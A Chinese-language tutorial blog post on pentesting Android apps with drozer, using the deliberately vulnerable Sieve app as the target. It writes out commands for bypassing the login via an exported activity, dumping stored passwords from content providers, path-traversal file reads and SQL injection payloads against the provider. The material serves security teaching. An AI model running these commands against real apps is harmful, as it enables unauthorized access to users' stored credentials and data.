作者: 不染
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x00 前言
在平时的Android客户端的渗透中,drozer这一工具较为广泛利用,这里就简单介绍以下drozer渗透android客户端的教程。
0x01 环境准备
需要安装Python、Android、Java环境,drozerPC端和agent端(版本须保持一致)
先进行PC端的端口转发,连接drozer服务
adb forward tcp:31415 tcp:31415 //端口转发,连接drozer服务
drozer console connect //连接drozer
出现下图drozer操作界面则为启动正常:
同时Android客户端中开启drozer客户端
0x02 寻找攻击点
使用如下命令进行列出安装的所有应用包名
为方便查阅,之后操作直接列命令
dz> run app.package.list //列出安装的所有应用包名
出现中文乱码如何解决?
在如下路径找到该文件:C:\Python27\drozer\Lib\site-packages\drozer\modules\apppackage.py
参考路径,具体为自己安装drozer的安装路径
打开py文件,在第一行插入下面代码
importsys
reload(sys)
sys.setdefaultencoding('utf-8')
在第360、360行添加如下字符
重启控制台,中文乱码和所有包加载不出报错问题即可得到解决
搜索特定的包名
dz> run app.package.list -f sieve //搜索特定的包名
查看应用的信息
dz> run [app.package.info](http://app.package.info) -a com.mwr.example.sieve //查看应用的信息
0x03 Drozer针对Sieve渗透示范
设置sieve
password:123456qwertyzxcvbn
PIN:1234
查看sieve应用的攻击点
dz> run app.package.attacksurface com.mwr.example.sieve //识别攻击面
查看对外的activity组件信息
run [app.activity.info](http://app.activity.info) -a com.mwr.example.sieve
反编译App之后也能看到相关配置情况
使用app.activity.start进行漏洞测试
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
绕过登录界面导致可直接访问Your Passwords界面,说明存在越权漏洞。
获取Content Provider信息
run [app.provider.info](http://app.provider.info) -a com.mwr.example.sieve
获取所有可以访问的Uri——Content Providers(数据泄露)
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个Uri的数据—Content Providers(数据泄露)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords –vertical
检测SQL注入
run scanner.provider.injection -a com.mwr.example.sieve
检测目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts //遍历目录
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts hosts
下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)
利用暴露的content provider进行sql注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
0x04 总结
利用drozer工具渗透Android客户端只是常见的一种手段,还有其他工具以后有机会再给大家介绍。
0x05 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!